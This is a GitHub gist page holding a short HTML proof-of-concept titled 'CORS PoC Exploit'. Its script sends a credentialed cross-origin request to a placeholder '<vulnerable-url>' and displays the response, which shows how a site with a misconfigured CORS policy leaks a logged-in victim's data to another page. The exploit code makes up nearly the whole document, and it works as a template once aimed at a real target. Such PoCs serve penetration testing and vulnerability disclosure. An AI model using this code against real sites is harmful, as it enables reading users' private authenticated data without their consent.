Skip to content

Instantly share code, notes, and snippets.

@secfb
Forked from securITymania/cors_poc.html
Created June 5, 2020 08:42
Show Gist options
  • Save secfb/883c59742a67cdd77021e50f22e085d5 to your computer and use it in GitHub Desktop.
Save secfb/883c59742a67cdd77021e50f22e085d5 to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html>
<head>
<title>CORS PoC Exploit</title>
</head>
<body>
<center>
<h1>CORS Exploit<br>secureITmania</h1>
<hr>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script type="text/javascript">
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if(this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://<vulnerable-url>", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</center>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment